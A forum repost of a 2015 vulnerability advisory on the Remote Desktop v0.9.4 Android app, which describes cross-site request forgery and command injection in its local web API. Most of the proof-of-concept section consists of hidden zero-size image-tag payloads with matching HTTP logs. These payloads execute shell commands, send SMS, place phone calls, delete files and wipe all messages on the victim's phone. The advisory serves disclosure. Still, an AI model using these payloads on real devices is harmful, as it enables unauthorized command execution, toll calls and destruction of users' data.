1488 Posted January 21, 2015 Report Share Posted January 21, 2015 Document Title:===============Remote Desktop v0.9.4 Android - Multiple VulnerabilitiesReferences (Source):====================http://www.vulnerability-lab.com/get_content.php?id=1413Release Date:=============2015-01-20Vulnerability Laboratory ID (VL-ID):====================================1413Common Vulnerability Scoring System:====================================4.4Product & Service Introduction:===============================Remote Desktop brings order to your Droid. View and retrieve all the contents of your phone such as documents, photos, videos. All you need is a standard web browser (! the latest Chrome or Firefox !) and Remote Desktop will allow you interact with your phone as easily as a PC.(Copy of the Homepage: http://remote-desktop.android.informer.com/0.9.4/ & https://play.google.com/store/apps/details?id=pl.androiddev.mobiletab )Abstract Advisory Information:==============================An independent vulnerability laboratory researcher discovered multiple web vulnerabilities in the Remote Desktop v0.9.4 Android mobile web-application.Vulnerability Disclosure Timeline:==================================2015-01-20: Public Disclosure (Vulnerability Laboratory)Discovery Status:=================PublishedAffected Product(s):====================Damian KolakowskiProduct: Remote Desktop - Android Mobile Web Application 0.9.4Exploitation Technique:=======================RemoteSeverity Level:===============MediumTechnical Details & Description:================================Multiple vulnerabilities has been discovered in the Remote Desktop v0.9.4 Android mobile web-application.The mobile web-application is vulnerable to a combination of cross site request forgery and local command injection attacks.1.1The local command injection vulnerability is located in `cmd` value of the `/api/sms` file. The remote attackers performs a client-side request and manipulates the `cmd` value to compromise the web-app by a local command injection.The security risk of the local command/path inject vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 5.5. Exploitation of the command/path inject vulnerability requires no privileged android device user account or user interaction. Successful exploitation of the vulnerability results in unauthorized execution of system specific commands and unauthorized path value requests to compromise the mobile android application and the connected device.Request Method(s): [+] [GET]Vulnerable Module(s): [+] /api/smsVulnerable Parameter(s): [+] cmd=%3Cform%20action=api/[x]?cmd=1.2The cross site request forgery vulnerabilities are located in the `shell`,`sms`,`calllogs` and `files` sections of the android app. Remote attackers are able prepare special crafted URLs that executes client-side requests to execute application functions (delete,add, call, send). The requst method to execute a function in a client-side request is GET.The security risk of the client-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 2.4.Exploitation of the client-side web vulnerability requires no privileged web-application user account but medium or high user interaction.Successful exploitation of the vulnerabilities result in non-persistent phishing mails, session hijacking, non-persistent external redirect to malicious sources and client-side manipulation of affected or connected module context.Request Method(s): [+] [GET]Vulnerable Parameter(s): [+] shell [+] sms [+] calllogsProof of Concept (PoC):=======================The vulnerabilities can be exploited by remote attackers without privileged application user account and with low or medium user interaction.For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.[REMOTE SHELL CODE EXECUTE VULNERABILI! CSRF ] <img src="http://localhost:8080/api/shell?cmd=execute&command=id&token=111111111111" width="0" height="0" border="0">--- PoC Session Logs [GET] (Execution) ---GET /api/shell?cmd=execute&command=id&token=111111111111 HTTP/1.1Host: 192.168.1.3:8080User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: keep-alive- ResponseHTTP/1.1 200 OKContent-Type: text/html; charset=utf-8{"response":"OK","working-directory":"\/","stderr":"","stdout":"uid=10257(u0_a257) gid=10257(u0_a257) groups=1015(sdcard_rw),1028(sdcard_r),3003(inet)\n"}Send SMS<img src="http://localhost:8080/api/sms?cmd=send&token=111111111111&to=333&message=HELLO " width="0" height="0" border="0">--- PoC Session Logs [GET] (Execution) ---GET /api/sms?cmd=send&token=111111111111&to=333&message=HELLO HTTP/1.1Host: 192.168.1.3:8080User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestReferer: http://192.168.1.3:8080/index.html?nocache=1421469722760Connection: keep-alive- ResponseHTTP/1.1 200 OKContent-Type: text/html; charset=utf-8{"response":"OK","results":[{"id":1590,"address":"333"}],"thread":{"id":51,"read":false,"snippet":"HELLO","recipients_snippet":"333","message_count":70,"date":1421476972278,"recipients":[{"id":51,"address":"333"}]}}Call Phone <img src="http://localhost:8080/api/calllogs?cmd=make_call&number=0674086422" width="0" height="0" border="0">--- PoC Session Logs [GET] (Execution) ---GET /api/calllogs?cmd=make_call&number=0674086422 HTTP/1.1Host: 192.168.1.3:8080User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestReferer: http://192.168.1.3:8080/index.html?nocache=1421465315931Connection: keep-alive- ResponseHTTP/1.1 200 OKContent-Type: text/html; charset=utf-8{"response":"OK"}Delete File<img src="http://localhost:8080/api/files?cmd=delete&sep=/&path=/file" width="0" height="0" border="0">--- PoC Session Logs [GET] (Execution) ---GET /api/files?cmd=delete&sep=/&path=%2Fstorage%2Femmc%2FRWDFv5.9.5.apk HTTP/1.1Host: 192.168.1.6:8080User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestReferer: http://localhost:8080/index.html?nocache=1421449820153Connection: keep-alive- ResponseHTTP/1.1 200 OKContent-Type: text/html; charset=utf-8{"response":"OK"}Call Phone <img src="http://localhost:8080/api/calllogs?cmd=make_call&number=0674086422" width="0" height="0" border="0">--- PoC Session Logs [GET] (Execution) ---GET /api/calllogs?cmd=make_call&number=11111111111 HTTP/1.1Host: 192.168.1.3:8080User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestReferer: http://localhost:8080/index.html?nocache=1421465315931Connection: keep-alive- ResponseHTTP/1.1 200 OKContent-Type: text/html; charset=utf-8{"response":"OK"}Delete all SMS<img src="http://localhost:8080/api/sms?cmd=delete_all" width="0" height="0" border="0">GET /api/sms?cmd=delete_all HTTP/1.1Host: 192.168.1.3:8080User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0Accept: application/json, text/javascript, */*; q=0.01Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestReferer: http://192.168.1.3:8080/index.html?nocache=1421465315931Connection: keep-alive- ResponseHTTP/1.1 200 OKContent-Type: text/html; charset=utf-8{"response":"OK"}LOCAL COMMAND INJECTION VULNERABILITY shell?, sms?, calllogs?files?--- PoC Session Logs [GET] (Execution) ---GET /api/sms?cmd=%3Cform%20action=api/sms?cmd=[LOCAL COMMAND INJECTION VULNERABILITY!] HTTP/1.1Host: 192.168.1.3:8080User-Agent: Mozilla/5.0 (Windows NT 5.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: fr,fr-fr;q=0.8,en-us;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateConnection: keep-alive- Response{"response":"OK"} HTTP/1.1 200 OKContent-Type: text/html; charset=utf-8{"response":"Unknown command: [LOCAL COMMAND INJECTION VULNERABILITY!]"}Reference:http://localhost:8080/Security Risk:==============The security risk of the cross site request forgery issue and command injection vulnerability is estimated as medium. (CVSS 4.4)Credits & Authors:==================Hadji Samir s-dz@hotmail.frDisclaimer & Information:=========================The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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